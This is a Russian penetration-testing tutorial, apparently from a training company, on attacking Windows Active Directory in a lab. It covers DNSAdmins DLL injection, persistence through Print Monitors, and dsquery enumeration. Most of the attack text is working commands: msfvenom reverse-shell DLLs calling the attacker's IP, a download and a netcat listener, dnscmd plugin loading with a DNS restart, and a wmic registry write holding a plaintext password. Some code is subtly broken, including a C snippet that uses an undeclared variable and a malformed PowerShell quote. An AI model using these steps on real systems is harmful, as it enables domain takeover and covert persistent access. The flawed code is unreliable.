Цель статьи - собрать интересные инструменты, техники и команды, которые можно использовать для выполнения задач при проведении тестирования на проникновение. Краткий список того, что будет в этой статье:
Что такого с DNSAdmins?
Persistence
Можно ли обойтись без Bloodhound?
DNSAdmins
Тестирование на проникновение для сети, где работают сервисы Windows AD достаточно распространенная задача, которая стоит перед пентестером. Чтобы её успешно выполнить - найти все возможные недочёты в настройке и заполучить максимальные права, нужно проверить максимальное количество векторов атак.
Что такого с DNSAdmins? Представим, что у нас есть инфраструктура Windows AD, и нам нужно захватить базу пользователей, которые находятся на контроллере домена. Ситуацию будем воспроизводить на виртуальном стенде. Состав стенда:
Windows Server 2019 в стандартной настройке Windows AD, ip адрес: 192.168.1.172
Kali Linux в качестве атакующей машины, ip адрес: 192.168.1.3
Настройка стенда, начальные условия:
атакующий получает доступ к учётной записи, которая принадлежит группе DNSAdmins
у учетной записи жертвы включен удаленный доступ через WinRM;
Что такое DNSAdmins с точки зрения Windows AD? Информацию об этом можно найти здесь.
Группа, которая отвечает за функционирование сервиса DNS. Сервис достаточно важный для всей инфраструктуры. Дело в том, что любой объект, который существует в AD будет обрабатываться только после запроса к DNS серверу. Поэтому, если сервис скомпрометирован, можно заставить всю инфраструктуру работать так как нужно атакующему. Самыми разрушительными атаками могут стать атаки MiTM, которые могут быть проведены, если DNS сервис использует не верно сконфигурированный сетевой интерфейс IPv6. Для тех, кто интересуется этой атакой можно почитать подробности здесь.
Но что же будем использовать мы? Мы обратим сегодня внимание на то как сервис DNS работает со специальным механизмом, который описан здесь, как механизм процессинга эвентов и последовательностей. Механизм позволяет задействовать различные функции сервера от RPC механизмов до доступа к базе записей DNS. Во всех этих данных нас интересует обработка R_DnssrvOperation
. Это старая функция, которая позволяет DNSAdmin пользователям загружать в память процесса сервиса DLL библиотеку. Эта библиотека не проходит механизма проверки и поэтому еэ можно попытаться использовать для получения максимальный привилегий в системе.
Атака производится в несколько этапов:
Генерация dll библиотеки. В этом этапе будем использовать msfvenom. Генерировать при этом лучше payload, который будет использовать максимально легковесный и простой шелл. В нашем случае это
windows/shell/reverse_tcp.
Команда для генерации следующая:
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.3 LPORT=4444 -f dll -o test.dll
Доставлять библиотеку будем через http сервер. На Kali машине можно воспользоваться вот такой командой из директории, где лежит сгенерированная библиотека:
python3 -m http.server 7979
Скачиваем библиотеку на рабочее место пользователя DNSAdmin группы. В нашем случае это пользователь test3. Сделать это можно, например через команду в Powershell:
Invoke-WebRequest -URI "http://192.168.1.3:7979/test.dll -OutFile "C:\Users\test2\Desktop\test.dll"
Запускаем слушателя. Можно пользоваться модулем
exploit/multi/handler
. Предварительно его настроив, примерно так:
nc -lvp 4444
Запускаем атаку на машине жертвы. Для этого этапа нужно получить данные о пароле пользователя:
dnscmd.exe /config /serverlevelplugindll C:\Users\Test2\Desktop\test.dll
sc stop dns
sc start dns
В итоге, проверяем привилегии в полученном shell:
Persistence
После получения доступа к системе, не всегда есть возможность сделать стабильный доступ. Использование методов автоматизации тестирования на проникновения может привести к различным последствиям. От выхода из строя тетсируемой системы до ухода в перезагрузку. Чтобы была возможность снова получать доступ и делать это автоматически, можно воспользоваться механизмами закрепления.
Закрепление, обычно осуществляется за счет мест в ОС, которые используются для автоматического запуска команд и приложений. Как правило это системные приложения или сервисы. Рассмотрим один из них.
Добавление собственной dll в ветку реестра HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors
.
Метод использует механизм "Windows Print Spooler". Это механизм при старте системы запускает монитор, который указан в одноименном значении реестра. Так как запуск производится от имени пользователя "System", то и привилегии там получаются соответствующие. Для удобства использования механизма, можно в реестр прописывать не файл из локальной директории, а SMB шару.
Метод по шагам:
Создаём dll:
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.3 LPORT=6666 -f dll -o test.dll
открываем слушателя на Kali Linux:
sudo nc -lvvp 6666
расшариваем для доступа dll:
smbserver.py -smb2support test /root
добавляем в реестр dll:
wmic /node:192.168.1.10 /user:"lab\test2" /password:Qwerty!@ process call create "reg add "HKLM\System\CurrentControlSet\Control\Print\Monitors\Slayer" /v "Driver" /d "\\192.168.1.3\test\test.dll" /t REG_SZ"
перезагружаем ОС и получаем доступ к системе.
Метод так же можно осуществить за счет выполнения от имени администратора файла, который будет собран из вот этого исходника:
#include <windows.h>
int main()
{
MONITOR_INFO_2 mon;
TCHAR name[14] = TEXT("MonitorSlayer");
TCHAR arch[12] = TEXT("Windows x64");
TCHAR dll[39] = TEXT("\\\\192.168.1.3\\test\\test.dll");
monitorInfo.pName = name;
monitorInfo.pEnvironment = arch;
monitorInfo.pDLLName = dll;
AddMonitor(NULL, 2, (LPBYTE)&mon);
return 0;
}
Попробуйте теперь обратиться к SMB шаре. И запустить любую команду оттуда.
Можно ли обойтись без Bloodhound?
Bloodhound - инструмент для получения информации о инфраструктуре под управлением Windwos AD. Позволяет собирать информацию, которая может быть использована для нахождения особых привелегий, которые позволяют компрометировать систему.
Инструмент работает по всем известным механизмам для сбор данных об инфраструктуре:
ldap
kerberos
SMB
DCOM
RPC
Запросы формируются с учетом тех потребнойстей, которые были запрошены пользователем. Дополнительно к этому, инструмент способен собирать информацию об активных сессиях пользователей на машинах.
Инструмент довольно полезный, но что если нам не нужно запускать так много команд, и хочется собрать только точечную информацию об AD? Можно ли выполнить тоже самое? На самом деле да, но нужно уметь пользоваться инструментами для сбора информации. Рассматривать будем инструмент dnsquery.exe. Этот инструмент поставляется со специальным набором инструментов RSAT. Кстати, отправка запросов возможна только, если используется сессия от имени "System".
Схема использования инструмента следущая:
dsquery <тип объекта> <фильтры> <опции>
Типы объектов:
WildCard Computer Contact Group OU Site Server User Quota Partition
Пример выдачи запроса к поиску пользователей:
Пример выдачи запроса к поиску групп:
Таким образом можно производить сбор информации об объектах Windows AD. Остальные тесты предлагается выполнить читателю самостоятельно.
Статья подготовлена экспертом OTUS - Александром Колесниковым в преддверии старта курса "Пентест. Практика тестирования на проникновение"